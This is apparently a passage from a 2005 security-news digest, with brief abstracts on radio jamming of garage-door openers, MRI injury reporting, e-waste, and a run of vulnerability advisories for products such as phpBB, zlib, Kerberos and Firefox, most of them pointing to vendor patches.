BE MASTER OF THE UNIVERSE (FROM YOUR CELLPHONE)

Toshiba has developed software that will make it possible for people to edit documents, send e-mail, and reboot their PCs remotely from their cellphones, allowing them to work anywhere. Toshiba will begin offering the service in Japan by the end of March through CDMA1X mobile phones offered by KDDI Corp. Toshiba is initially targeting the corporate work force, but says individuals can use it to record TV shows, work security cameras and control air conditioners tied to home networks.
(AP/Los Angeles Times 20 Jan 2005)

25.2 Jamming

Category 25.2

Jamming

2005-11-04

radio frequency interference RFI controls garage-door openers military

RISKS; <http://tinyurl.com/7mva3>

24

09

RADIO SIGNAL KEEPS OTTAWA GATES AND GARAGE DOORS CLOSED

Apparently garage doors and embassy gates are refusing to work because something in Ottawa is broadcasting on their radio controlled opener devices' frequencies and swamping them. No one seems to know who/what is doing it and some fingers point to the military use of that same frequency.... This is, of course, a common problem as we run out of available radio bandwidth and try to cram more and more users into limited space. There is a possibility that the U.S. Embassy or the U.S. Military stationed at the Embassy is responsible. Time will eventually tell.

[Abstract by R. S. Heuman]

[MK adds:] The CBC article has additional details of interest (all quotations):

* It affects a 25-mile radius.

* Two companies that have plotted the reported problems on maps say they appear to cluster in the Byward Market area just east of Parliament Hill, and a corridor leading southeast from there.

* The Door Doctor has received more than 100 calls from irate customers who can't operate their doors using the usual remotes.

* The signal is transmitted on the 390-megahertz band, which is used by virtually all garage door openers on the continent. That's the same frequency used by the U.S. Military's new state-of-the-art Land Mobile Radio System.

* ...[O]perators have already been warned of this phenomenon by service updates from U.S. manufacturers, who started seeing the same problem around military bases last summer. The strong radio signals on the 390-megahertz band simply overpower the garage door openers.

26.1 Radiation

Category 26.1 *Radiation*
2005-07-29 **magnetic resonance imaging MRI systems failure harm patients radiation burns reporting control systems flaws**

RISKS

23

95

HITACHI MAGNETIC RESONANCE IMAGING SYSTEMS MAY BE FLAWED

The U.S. Food and Drug Administration warned Hitachi Medical Systems America Inc. That it failed to properly report burns, hearing losses, and other injuries to patients using its magnetic resonance imaging (MRI) systems. The FDA suggested that this "may be symptomatic of serious problems in your firm's manufacturing and quality assurance systems. You must promptly initiate permanent corrective and preventive action. The FDA described one unreported case in which a woman complained she was "shocked and burned on the top of her head while being scanned" by a Hitachi MRI system, and another in which an MRI device caught fire.

[Source: A Reuters item, 26 Jul 2005; abstract by Peter G. Neumann]

26.2 Toxic materials

Category 26.2 Toxic materials

2005-01-07 **recycling Intel eBay toxic electronics disposal heavy metals cadmium mercury chrome**

NewsScan; <http://apnews.excite.com/article/20050107/D87F998O2.html>

RECYCLING ELECTRONIC GADGETS

EBay and Intel have developed a recycling program that encourages Americans to safely dispose of their discarded computers and other electronic devices. Gartner, the marketing research firm, estimates that U.S. consumers decommission 133,000 personal computers every day, and eBay chief executive Meg Whitman says that the user's quandary is, "You don't want to throw them out, and you don't know what to do with them." If not properly disposed of, discarded electronic devices can leak lead, cadmium, chromium, mercury and other toxins into the environment. The new eBay- Intel "Rethink" recycling program will only endorse recyclers who promise not to dump machines in landfills in developing nations. (AP 7 Jan 2005)

Category 26.2 Toxic materials

2005-01-21 **toxic waste electronics China US international Basel Convention treaty**

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A24672-2005Jan20.html>

E-WASTE IS PILING UP

Consumers' penchant for constant upgrades -- new cell phones, a sleeker laptop -- is causing havoc in the environment, and with technology products now accounting for as much as 40% of the lead in U.S. landfills, e-waste has become one of the fastest-growing sectors of the U.S. solid waste stream. The International Association of Electronics Recyclers estimates that Americans dispose of 2 million tons of electronic products a year -- including 50 million computers and 130 million cell phones -- and China, which has served for years as the final resting place for Americans' unwanted TVs and computers, is becoming overwhelmed by the volume. Some high-tech companies are taking matters into their own hands -- Hewlett Packard and Dell job out their e-waste handling to environmentally sensitive recyclers such as RetroBox -- but such efforts are still quite limited and unable to cope with a problem that's reaching crisis proportions. Meanwhile, the U.S. is the only developed country not to have ratified the 1992 Basel Convention, the international treaty that controls the export of hazardous waste. "There's a real electronics-waste crisis," says Basel Action Network coordinator Jim Puckett. "The U.S. just looks the other way as we use these cheap and dirty dumping grounds." (Washington Post 21 Jan 2005)

27.1 Vulnerability assessment

Category 27.1

Vulnerability assessment

2005-04-14

rootkits security problem antivirus vendor warning malicious actions lack of statistics information

DHS IAIP Daily;

<http://informationweek.com/story/showArticle.jhtml?articleID=160900692>

ROOTKITS COULD POSE A SERIOUS SECURITY PROBLEM

The hacker equivalent of a cloak of invisibility may cause serious problems for users and anti-virus vendors, a security expert said Thursday, April 14. Rootkits are tools used by hackers to cover their tracks. Rootkits can hide the existence of other malware on a computer by modifying file data, Windows registry keys, or active processes, all of which are used by malicious code detection software to spot worms, viruses, and spyware that's been installed on a PC. They're commonly used by spyware writers, but they're now gaining popularity among virus writers, say some security analysts. According to Panda Software's research director, rootkits for Windows are proliferating. "Even though they're not new, rootkits have re-emerged as a kind of malware that could let hackers discreetly carry out numerous malicious actions," said Luis Corrons. "We've seen that they're being used in combination with backdoors to take remote control of computers." But Ken Dunham, the director of malicious code research for iDefense, is not as convinced as others that rootkits for Windows are that big of a deal. "I think it's a growing trend, but it's really hard to identify [the scope]. There just aren't a lot of stats."

Category 27.1

Vulnerability assessment

2005-06-28

SecurityFocus Sun Solaris Runtime linker vulnerability systems variables setuid setgid binaries privileges

DHS IAIP Daily; <http://www.securityfocus.com/bid/14074/discuss>

SUN SOLARIS RUNTIME LINKER LD_AUDIT PRIVILEGE ESCALATION VULNERABILITY

Runtime linkers in most operating systems are designed to ignore LD_* environment variables when executing setuid or setgid binaries. The manual page describing ld.so for Sun Solaris also states that certain precautions are taken when setuid or setgid binaries are executed. Reportedly these precautions are not properly followed when LD_AUDIT is utilized. This vulnerability allows local attackers to gain superuser privileges on affected computers. 11 Sun has released Interim Diagnostic Relief fixes to address this issue: <http://sunsolve.sun.com/tpatches>

Category 27.1

Vulnerability assessment

2005-07-01

vulnerability US-CERT compromises fix Santy worm phpBB

DHS IAIP Daily; http://www.us-cert.gov/current/current_activity.html#phpBB_v_u1

EXPLOIT FOR VULNERABILITY IN PHPBB

US-CERT is aware of a public exploit for a vulnerability in phpBB's "viewtopic.php" script. There are reports of attempts at exploitation, but no confirmed evidence of successful system compromises. A fix for this vulnerability was addressed in version 2.0.11, but did not adequately resolve the issue. In 2004, this vulnerability lead to the propagation of the Santy worm. The phpBB Development Team has released phpBB version 2.0.16 to fully correct this issue. US-CERT encourages administrators to apply the appropriate fixes as soon as possible. More information about this vulnerability can be found in the following US-CERT Vulnerability Note VU#497400: <http://www.kb.cert.org/vuls/id/497400> phpBB version 2.0.16:
<http://www.phpbb.com/downloads.php>

Category 27.1

Vulnerability assessment

2005-07-02

**Exploit vulnerability Microsofts JVIEWS Profiler Microsoft Java Virtual Machine
HTML COM**

DHS IAIP Daily; http://www.us-cert.gov/current/current_activity.html#jview

EXPLOIT FOR VULNERABILITY IN MICROSOFT'S JVIEWS PROFILER (JAVAProxy.DLL)

US-CERT is aware of a working public exploit for a vulnerability in the Microsoft JVIEWS Profiler (javaproxy.dll) component, an interface to the Microsoft Java Virtual Machine. This vulnerability can be exploited when a user attempts to view an HTML document (e.g., a web page or an HTML email message) that attempts to instantiate the JVIEWS Profiler COM object in a certain way. Successful exploitation could allow an attacker to execute arbitrary code on the user's system with privileges of the user. Microsoft has published a Security Advisory about this issue and is continuing to investigate the problem. Until a patch is available to address this vulnerability, US-CERT strongly encourages users to review the workarounds section of Vulnerability Note VU#939605. VU#939605: <http://www.kb.cert.org/vuls/id/939605> Microsoft Security Advisory (903144): <http://www.microsoft.com/technet/security/advisory/903144.mspx>

Category 27.1

Vulnerability assessment

2005-07-04

Sun JDS vulnerability Linux Websites flaw error applets

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/>

SUN JAVA DESKTOP SYSTEM (JDS) APPLET SECURITY BYPASS VULNERABILITY

A vulnerability was identified in Sun Java Desktop System (JDS) for Linux, which could be exploited by malicious Websites to compromise a vulnerable system. This flaw is due to an unspecified error when handling specially crafted applets, which may be exploited, via a malicious Webpage, to bypass the default security policy and read/write arbitrary files on a vulnerable system or execute local applications with the privileges of the user running the untrusted applet. Users should upgrade to Sun Java Desktop System (JDS) Release 2 with the updated RPMs patch 118752-02. Sun advisory 101799: http://sunsolve.sun.com/search/document.do?assetkey=1-26-101_799-1

Category 27.1

Vulnerability assessment

2005-07-04

**Secunia Cacti shell injection vulnerabilities security overwrite structures filtering
privileges SQL attacks shell**

DHS IAIP Daily; <http://secunia.com/advisories/15908/>

CACTI SECURITY BYPASS AND SHELL COMMAND INJECTION

Two vulnerabilities have been reported in Cacti, which can be exploited by malicious people to bypass certain security restrictions and compromise a vulnerable system. 1) Input passed to the "no_http_headers" parameter isn't properly verified before being used. This can be exploited to overwrite session structures and bypass certain filtering mechanisms. Successful exploitation allows people to gain administrative privileges and perform various SQL injection attacks, but requires that "register_globals" is enabled. 2) An error in the administrative interface can be exploited to inject arbitrary shell commands by manipulating the path to "rdttool". Successful exploitation requires administrative privileges. The vulnerabilities have been reported in version 0.8.6e and prior. Users should update to version 0.8.6f: http://www.cacti.net/download_cacti.php

Category 27.1

Vulnerability assessment

2005-07-05

**Buffer overflow vulnerability Adobe Reader exploitation PDF email link Linux
Solaris**

DHS IAIP Daily; <http://www.adobe.com/support/techdocs/329083.html>

BUFFER OVERFLOW VULNERABILITY IN ADOBE READER

A vulnerability within Adobe Reader has been identified within the Adobe Reader control. If exploited, it could allow the execution of arbitrary code under the privileges of the local user. Remote exploitation is possible if the malicious PDF document is sent as an email attachment or if the PDF document is accessed via a web link. Linux or Solaris users: download Adobe Reader 7.0 at <http://www.adobe.com/products/acrobat/readstep2.html>. IBM-AIX or HP-UX: download Adobe Reader 5.0.11 at <http://www.adobe.com/products/acrobat/readstep2.html>.

Category 27.1 Vulnerability assessment

2005-07-05 **EasyPHPCalendar inclusion vulnerability compromise include files**

DHS IAIP Daily; <http://seunia.com/advisories/15893/>

EASYPHPCALENDAR "SERVERPATH" FILE INCLUSION VULNERABILITY

A vulnerability has been reported in EasyPHPCalendar which can be exploited by malicious people to compromise a vulnerable system. Input passed to the "serverPath" parameter isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from external and local resources. Successful exploitation requires that "register_globals" is enabled. The vulnerability has been reported in version 6.1.5 and prior. Other versions may also be affected.

Category 27.1 Vulnerability assessment

2005-07-06 **McAfee IntrusShield Security Management System vulnerabilities sanitize data HTML**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14167/exploit>

MCAFEE INTRUSHIELD SECURITY MANAGEMENT SYSTEM MULTIPLE VULNERABILITIES

McAfee IntruShield Security Management System is susceptible to multiple vulnerabilities. The first two issues are cross-site scripting vulnerabilities in the 'intruvert/jsp/systemHealth/SystemEvent.jsp' script. These issues are due to a failure of the application to properly sanitize user-supplied data prior to utilizing it in dynamically generated HTML. The next two issues are authorization bypass vulnerabilities leading to information disclosure and the ability to acknowledge, de-acknowledge, and delete security alerts. These vulnerabilities require a valid user account in the affected application. Users of affected packages should contact the vendor for further information on obtaining fixes.

Category 27.1 Vulnerability assessment

2005-07-06 **IBM Lotus Notes HTML vulnerability email JavaScript sanitised**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0995>

IBM LOTUS NOTES HTML ATTACHMENTS SCRIPT EXECUTION VULNERABILITY

A vulnerability was identified in IBM Lotus Notes email client, which could be exploited to conduct cross site scripting attacks. The problem is that JavaScript code included in HTML attachments is not properly sanitised before being displayed, which may be exploited by attackers to cause arbitrary scripting code to be executed by the user's browser. DHS IAIP Daily; IBM Lotus DHS IAIP Daily; Notes 6.5.4 and prior are affected. No official patch is known at this time.

Category 27.1 Vulnerability assessment

2005-07-06 **McAfee IntruShield Security Management System vulnerabilities multiple scripting sanitize data HTML**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14167/info>

MCAFEE INTRUSHIELD SECURITY MANAGEMENT SYSTEM MULTIPLE VULNERABILITIES

McAfee IntruShield Security Management System is susceptible to multiple vulnerabilities. The first two issues are cross-site scripting vulnerabilities in the 'intruvert/jsp/systemHealth/SystemEvent.jsp' script. These issues are due to a failure of the application to properly sanitize user-supplied data prior to utilizing it in dynamically generated HTML. The next two issues are authorization bypass vulnerabilities leading to information disclosure and the ability to acknowledge, de-acknowledge, and delete security alerts. These vulnerabilities require a valid user account in the affected application. \Users of affected packages should contact the vendor for further information.

Category 27.1 Vulnerability assessment
2005-07-06 **PHPWebsite SQL Injection Cross site vulnerabilities scripting directory input validation error**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0993>

PHPWEBSITE SQL INJECTION AND CROSS SITE SCRIPTING VULNERABILITIES

Multiple vulnerabilities were identified in PHPWebSite, which could be exploited by malicious users to conduct SQL injection, cross site scripting and directory traversal attacks. These flaws are due to an input validation error in the search module that does not properly filter a specially crafted "mod" parameter, which could be exploited by remote attackers to conduct SQL injection, cross site scripting and directory traversal attacks. PHPWebSite version 0.10.1 and prior are affected. Users should apply the patch: http://phpwebsite.appstate.edu/downloads/security/phpwebsite_security_patch_20050705.2.tgz

Category 27.1 Vulnerability assessment
2005-07-07 **zlib buffer overflow vulnerability DoS data arbitrary code privileges Linux**

DHS IAIP Daily; <http://secunia.com/advisories/15949/>

ZLIB "INFTREES.C" BUFFER OVERFLOW VULNERABILITY

A vulnerability has been reported in zlib, which can be exploited by malicious people to conduct a DoS (Denial of Service) against a vulnerable application, or potentially to execute arbitrary code. The vulnerability is caused due to a boundary error in "inftrees.c" when handling corrupted compressed data streams. This can be exploited to crash any application that uses the zlib library, or potentially to execute arbitrary code with privileges of the vulnerable application. The vulnerability has been reported in version 1.2.2. Prior versions may also be affected. No updates are currently available from the vendor, but several Linux distributions have issued updated packages.

Category 27.1 Vulnerability assessment
2005-07-07 **Vulnerability AIX FTP server ephemeral data ports IBM hosts protocol utilize memory sockets**

DHS IAIP Daily; <http://www.kb.cert.org/vuls/id/118125>

AIX FTP SERVER MAY NOT PROPERLY TIMEOUT EPHEMERAL DATA PORTS

IBM AIX includes an FTP server, ftpd, which allows files to be transferred between hosts with the FTP protocol. This server is vulnerable to a condition where an attacker may be able to utilize all available ephemeral ports on the system. When the ephemeral port range is exhausted, no more ports are available for the system to use for an indefinite period of time, resulting in a system-wide network-based denial of service. Additionally, the memory usage caused by the sockets in use by ftpd may also create a local denial of service condition by limiting system resources available to other processes. AIX 5.1, 5.2, and 5.3 are affected. A remote, authenticated user may be able to limit system and network resources and cause a denial-of-service condition. If anonymous FTP access is allowed, anonymous users are considered to be authenticated and may cause the same denial-of-service conditions. Users should contact IBM or their vendor for information on resolutions, workarounds, updates, and fixes.

Category 27.1 Vulnerability assessment
2005-07-08 **PunBB SQL Injection PHP vulnerabilities system Input array template avatar**

DHS IAIP Daily; <http://secunia.com/advisories/15990/>

PUNBB SQL INJECTION AND PHP CODE EXECUTION VULNERABILITIES

Vulnerabilities have been discovered in PunBB which can be exploited by malicious people to conduct SQL injection attacks and compromise a vulnerable system. 1) Input passed to the "temp" array parameter in "profile.php" isn't properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Successful exploitation requires that "register_globals" is enabled. 2) An error in the template system can be exploited to include arbitrary local files via e.g. the "redirect_url" parameter. This can further be exploited to execute arbitrary PHP code by referencing a specially crafted avatar image containing PHP code. The vulnerabilities has been reported in version 1.2.5 and prior. Original Advisories: <http://www.hardened-php.net/advisory-082005.php> and <http://www.hardened-php.net/advisory-092005.php>

Category 27.1

Vulnerability assessment

2005-07-08

Secunia phpSecurePages vulnerability compromise system Input parameter external local resources

DHS IAIP Daily; <http://secunia.com/advisories/15994/>

PHPSECUREPAGES "CFGPROGDIR" FILE INCLUSION VULNERABILITY

A vulnerability has been discovered in phpSecurePages which can be exploited by malicious people to compromise a vulnerable system. Input passed to the "cfgProgDir" parameter in "phpSecurePages/secure.php" isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from external and local resources. Successful exploitation requires that "register_globals" is enabled. The vulnerability has been confirmed in version 0.28 beta. Other versions may also be affected.

Category 27.1

Vulnerability assessment

2005-07-08

Linux format flaw compression format Linux Unix hackers BSD bug zlib DoS library Danish Secunia vulnerability dire ranking

DHS IAIP Daily; <http://www.informationweek.com/story/showArticle.jhtml?articleID=165701026>

LINUX COMPRESSION FORMAT FLAW FOUND

A critical flaw in a compression format widely used in Linux and Unix can give hackers a way into machines, security experts said Friday, July 8. A patch for the zlib library isn't available, but several Linux and BSD distributors have rolled out fixes of their own. The bug, which affects the current version of zlib, 1.2.2, can be exploited to create a denial-of-service (DoS) attack, which could crash any application using the library or let the attacker plant code of his own remotely, according to an alert by Danish security firm Secunia. The company rated the zlib vulnerability as "Highly critical," its second-most dire ranking.

Category 27.1

Vulnerability assessment

2005-07-11

MMS Ripper MMST streams overflow vulnerability arbitrary commands flaw IDs

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1043>

MMS RIPPER (MMSRIP) MMST STREAMS HEAP OVERFLOW VULNERABILITY

A vulnerability was identified in MMS Ripper, which could be exploited by attackers to execute arbitrary commands. This flaw is due to a heap overflow error in the "mms_interp_header()" function when handling multiple stream IDs, which may be exploited via a malicious server to compromise a vulnerable system. Users should upgrade to MMS Ripper version 0.6.4 or later: <http://nbenoit.tuxfamily.org/projects/mmsrip/>

Category 27.1

Vulnerability assessment

2005-07-11

ISC DHCPD format string vulnerability remote serverdata logged unsafe Exploitation debugging

DHS IAIP Daily; <http://www.securityfocus.com/bid/11591/info>

ISC DHCPD REMOTE FORMAT STRING VULNERABILITY

A remote format string vulnerability is reported in the ISC DHCPD server package. User supplied data is logged in an unsafe fashion. Exploitation of this vulnerability may result in arbitrary code being executed by the DHCP server. Although unconfirmed it is conjectured that this issue may only be exploitable when debugging functionality is enabled. It is reported that the vendor has released an update to address this vulnerability. This update is reported to be located at: <ftp://ftp.isc.org/isc/dhcp/dhcp-3.0.2rc1.tar.gz>

Category 27.1

Vulnerability assessment

2005-07-11

phpWebSite PHP execution vulnerability malicious compromise CVS

DHS IAIP Daily; <http://secunia.com/advisories/16001/>

PHPWEBSITE PEAR XML_RPC PHP CODE EXECUTION

A vulnerability has been reported in phpWebSite, which can be exploited by malicious people to compromise a vulnerable system. The vulnerability has reportedly been fixed in the CVS repository.

Category 27.1 Vulnerability assessment
2005-07-11 **SPiD remote PHP inclusion vulnerability server input validation error parameter arbitrary privileges**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1041>

SPiD "LANG_PATH" REMOTE PHP FILE INCLUSION VULNERABILITY

A vulnerability was identified in SPiD, which may be exploited by attackers to compromise a vulnerable web server. This flaw is due to an input validation error in "lang.php" when processing a specially crafted "lang_path" parameter, which may be exploited by remote attackers to include malicious files and execute arbitrary commands with the privileges of the web server. The FrSIRT is not aware of any official supplied patch for this issue.

Category 27.1 Vulnerability assessment
2005-07-12 **Technical Cyber Security Alert Microsoft Windows Internet Explorer Word Vulnerabilities Office privileges system**

DHS IAIP Daily; <http://www.us-cert.gov/cas/techalerts/TA05-193A.html>

MICROSOFT WINDOWS, INTERNET EXPLORER, AND WORD VULNERABILITIES

Microsoft has released updates that address critical vulnerabilities in Windows, Office, and Internet Explorer. Exploitation of these vulnerabilities could allow a remote, unauthenticated attacker to execute arbitrary code with the privileges of the user. If the user is logged on with administrative privileges, the attacker could take control of an affected system. Microsoft has provided the updates for these vulnerabilities: <http://www.microsoft.com/technet/security/bulletin/ms05-jul.mspx>

Category 27.1 Vulnerability assessment
2005-07-12 **Cisco CallManager memory software processing component IP media DoS attacks leaks corruption interrupter rebooting executed**

DHS IAIP Daily; <http://www.cisco.com/warp/public/707/cisco-sa-20050712-ccm.s.html>

CISCO CALLMANAGER MEMORY HANDLING VULNERABILITIES

Cisco CallManager (CCM) is the software-based call-processing component of the Cisco IP telephony solution which extends enterprise telephony features and functions to packet telephony network devices such as IP phones, media processing devices, voice-over-IP (VoIP) gateways, and multimedia applications. Cisco CallManager 3.3 and earlier, 4.0, and 4.1 are vulnerable to Denial of Service (DoS) attacks, memory leaks, and memory corruption which may result in services being interrupted, servers rebooting, or arbitrary code being executed. Cisco has made free software available to address these vulnerabilities.

Category 27.1 Vulnerability assessment
2005-07-13 **MIT Kerberos KDC US-CERT unauthenticated attacker code execution**

DHS IAIP Daily; <http://www.kb.cert.org/vuls/>

VULNERABILITIES IN MIT KERBEROS 5

Kerberos is a network authentication system which uses a trusted third party (a KDC) to authenticate clients and servers to each other. Several vulnerabilities have been reported. According to US-CERT Vulnerability Note VU#259798, an unauthenticated attacker can cause MIT krb5 Key Distribution Center (KDC) to overflow a heap buffer by one byte, possibly leading to arbitrary code execution. Patch details are available in MIT krb5 Security Advisory 2005-002. According to US-CERT Vulnerability Note VU#623332, an unauthenticated attacker can cause krb5_recvauth() function to free a block of memory twice, possibly leading to arbitrary code execution. Patch details are available in MIT krb5 Security Advisory 2005-003.

Category 27.1

Vulnerability assessment

2005-07-13

Oracle Products Vulnerabilities Critical insecure consequences Apache Java Sun Microsystems

DHS IAIP Daily; <http://www.us-cert.gov/cas/techalerts/TA05-194A.html>

ORACLE PRODUCTS CONTAIN MULTIPLE VULNERABILITIES

Oracle released a Critical Patch Update in July 2005 that addresses more than forty vulnerabilities in different Oracle products and components. The Critical Patch Update provides information about which components are affected, what access and authorization are required, and how data confidentiality, integrity, and availability may be impacted. Public reports describe vulnerabilities related to insecure password and temporary file handling and SQL injection. The impacts of these vulnerabilities vary depending on product or component and configuration. Potential consequences include remote execution of arbitrary code or commands, information disclosure, and denial of service. An attacker who compromises an Oracle database may be able to gain access to sensitive information. US-CERT strongly recommends that sites running Oracle review the Critical Patch Update, apply patches, and take other mitigating action as appropriate. Oracle HTTP Server is based on the Apache HTTP Server. Some Oracle products include Java components from Sun Microsystems. According to Oracle, the July 2005 Critical Patch Update addresses previously disclosed vulnerabilities in Apache and Java. Oracle also notes that Oracle Database Client-only installations are not affected by vulnerabilities listed in the July 2005 Critical Patch Update.

Category 27.1

Vulnerability assessment

2005-07-13

WebEOC US-CERT crisis management application gather coordinate disseminate emergency operations URIs

DHS IAIP Daily; <http://www.kb.cert.org/vuls/>

MULTIPLE VULNERABILITIES IN WEBEOC

The US-CERT has released several vulnerability notes to address issues in WebEOC. WebEOC is a web-based crisis information management application that provides functions to gather, coordinate, and disseminate information between emergency personnel and emergency operations centers (EOC). According to VU#258834, in numerous places in a WebEOC system, resources are requested via URIs. An attacker may be able exploit this design by crafting a URI that will directly access a resource, thus elevating that attacker's privileges. According to VU#491770, WebEOC uses weak algorithms to encrypt sensitive information. A remote attacker could recover or derive a private encryption keys, or apply simple cryptanalytic techniques to decipher an encrypted message. According to VU#138538, WebEOC contains multiple cross-site scripting (XSS) vulnerabilities. A remote attacker may be able to execute arbitrary script using a vulnerable WebEOC site. In addition, that attacker may be able to retrieve sensitive data from WebEOC site. According to VU#956762, WebEOC does not restrict the size of files that an authenticated user can upload into a back-end database. An authorized attacker may be able to consume a large amount of system resources. As system resources are exhausted, system operation may be disrupted resulting in a denial-of-service condition. According to VU#372797, a remote attacker may be able to execute SQL queries on a server, possibly with elevated privileges. As a result, attackers may be able to view or modify the contents of a WebEOC database. According to VU#165290, WebEOC insecurely stores sensitive information in easily accessible application components. Sensitive information may be easily accessible to untrusted parties.

Category 27.1

Vulnerability assessment

2005-07-13

Yawp "_Yawp[conf_path]" PHP inclusion exploited attackers server validation error malicious

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1081>

YAWP "_YAWP[CONF_PATH]" REMOTE PHP FILE INCLUSION VULNERABILITY

A vulnerability was identified in Yawp, which may be exploited by attackers to compromise a vulnerable web server. This flaw is due to an input validation error when processing a specially crafted "_Yawp[conf_path]" parameter, which may be exploited by remote attackers to include malicious files and execute arbitrary commands with the privileges of the web server. Yawp version 1.0.6 and prior are affected. Users should update to Yawp version 1.1.0 :
<http://phpyawp.com/yawiki/index.php?page=DownloadAndInstall>

Category 27.1

Vulnerability assessment

2005-07-13

Mozilla Suite Firefox Thunderbird vulnerabilities bypass

DHS IAIP Daily; <http://www.securityfocus.com/bid/14242/info>

MOZILLA SUITE, FIREFOX AND THUNDERBIRD MULTIPLE VULNERABILITIES

The Mozilla Foundation has released 12 security advisories specifying security vulnerabilities in Mozilla Suite, Firefox, and Thunderbird. These vulnerabilities allow attackers to execute arbitrary machine code in the context of the vulnerable application, bypass security checks, execute script code in the context of targeted Websites to disclose confidential information; other attacks are also possible. These vulnerabilities have been addressed in Firefox version 1.0.5, Mozilla Suite 1.7.9. Mozilla Thunderbird has not been fixed at this time. The issues described here will be split into individual BIDs as further analysis is completed. This BID will then be retired.

Category 27.1

Vulnerability assessment

2005-07-14

Sophos Anti-Virus BZip2 vulnerability denial setting failure scans EM library

DHS IAIP Daily; <http://www.securityfocus.com/bid/14270/info>

SOPHOS ANTI-VIRUS BZIP2 ARCHIVE HANDLING REMOTE DENIAL OF SERVICE VULNERABILITY

Sophos Anti-Virus is prone to a remote denial of service vulnerability when it is configured to 'Scan inside archive files'. This is not a default setting. The issue exists due to failure of the software to adequately sanitize 'Extra field length' values contained in BZip2 archives. Ultimately this vulnerability may be exploited to conduct a denial of proper service for legitimate users. Attackers may leverage this issue to prevent the software from completing file scans, for files received subsequent to an attack. This may allow the attacker to bypass Anti-Virus scans. The vendor has released updates to address this issue. These updates may be automatically applied by customers that are using the EM Library or manually from Sophos.

Category 27.1

Vulnerability assessment

2005-07-14

Seagull PHP Framework execution vulnerability malicious 0.43

DHS IAIP Daily; <http://secunia.com/advisories/16074/>

SEAGULL PHP FRAMEWORK PEAR XML_RPC PHP CODE EXECUTION

A vulnerability has been reported in Seagull PHP Framework, which can be exploited by malicious people to compromise a vulnerable system. The vulnerability has been reported in version 0.43. Prior versions may also be affected.

Category 27.1

Vulnerability assessment

2005-07-16

Microsoft Security Advisory vulnerability Remote Desktop Services RDP

DHS IAIP Daily;

<http://www.microsoft.com/technet/security/advisory/904797.mspx>

MICROSOFT SECURITY ADVISORY (904797): VULNERABILITY IN REMOTE DESKTOP PROTOCOL (RDP) COULD LEAD TO DENIAL OF SERVICE

Microsoft is investigating new public reports of a vulnerability in Remote Desktop Services. There are no reports of attacks that try to use the reported vulnerability or of customer impact at this time. The initial investigation has revealed that a denial of service vulnerability exists that could allow an attacker to send a specially crafted Remote Desktop Protocol (RDP) request to an affected system. The investigation has determined that this is limited to a denial of service, and therefore an attacker could not use this vulnerability to take complete control of a system. Services that utilize the Remote Desktop Protocol are not enabled by default, however if a service were enabled, an attacker could cause this system to restart.

Category 27.1

Vulnerability assessment

2005-07-18

Xerox Vulnerabilities Microserver Web HTTP

DHS IAIP Daily;

http://www.xerox.com/downloads/usa/en/c/cert_XRX05_007.pdf

VULNERABILITIES IN THE XEROX MICROSERVER WEB SERVER

There are multiple vulnerabilities in the web server code that could allow unauthorized access to the web server including vulnerabilities that could bypass authentication; specially constructed HTTP requests can cause denial of service or allow unauthorized file access on an attacked machine; and cross-site scripting allowing contents of web pages to be modified in an unauthorized manner. If successful, an attacker could make unauthorized changes to the system configuration. Customer and user passwords are not exposed. A patch is available. This patch is a cumulative patch that incorporates the security patches documented in Security Bulletins XRX04-002 (P4), XRX04-007 (P10), XRX04-009 (P17) and XRX05-005 (P21) for the products listed below.

Category 27.1

Vulnerability assessment

2005-07-18

CERT VU#973635 SSH Tectia Server Windows hostkey Sexure Shell Servers DNS hijacking

DHS IAIP Daily; <http://www.kb.cert.org/vuls/id/973635>

SSH COMMUNICATIONS SECURITY SSH TECTIA SERVER ON WINDOWS ALLOWS LOCAL ACCESS TO HOST IDENTIFICATION KEY

SSH Tectia Server for Microsoft Windows creates the hostkey with permissions that allow any user to read the file. As a result, any user logged into the system can read the private SSH hostkey. Previous versions of SSH Tectia Server were known as SSH Secure Shell for Windows Servers. The hostkey is used to authenticate the server to the client. This defends against redirection attacks, such as DNS hijacking that cause the client to connect to a malicious server. In such cases, clients that know the public hostkey can verify that the server has the private hostkey, thereby verifying the server is correct. If an attacker copies the private hostkey of a server, they can configure a server with the same private key as the legitimate server. Such a server would appear valid to clients if another attack, such as DNS hijacking, was used to trick the client into connecting to the attacker's server.

Category 27.1

Vulnerability assessment

2005-07-20

ReviewPost PHP Pro SQL injection vulnerability malicious Input

DHS IAIP Daily; <http://secunia.com/advisories/16134/>

REVIEWPOST PHP PRO "SORT" SQL INJECTION VULNERABILITY

A vulnerability has been reported in ReviewPost, which can be exploited by malicious people to conduct SQL injection attacks. Input passed to the "sort" parameter in "showproduct.php" isn't properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Category 27.1

Vulnerability assessment

2005-07-20

FrSIRT arbitrary vulnerability Greasemonkey error malicious web page contents directories

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1147>

GREASEMONKEY FIREFOX EXTENSION ARBITRARY FILE DISCLOSURE ISSUE

A vulnerability was identified in Greasemonkey, which could be exploited by remote attackers to read arbitrary files on a vulnerable system. This flaw is due to a design error when using insecure "GM_*" functions (i.e. GM_xmlhttpRequest, GM_getValue, or GM_getValue), which could be exploited via a malicious web page to read any file on a vulnerable system or list the contents of local directories. User should upgrade to Greasemonkey version 0.3.5 :

<https://addons.mozilla.org/extensions/moreinfo.php?application=firefox&id=748>

Category 27.1 Vulnerability assessment
2005-07-21 **Tracker Mozilla Firefox vulnerability HTML target race violation crash exploit**
DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Jul/1014550.html>
MOZILLA FIREFOX XPCOM RACE CONDITION LETS REMOTE USERS CRASH THE BROWSER

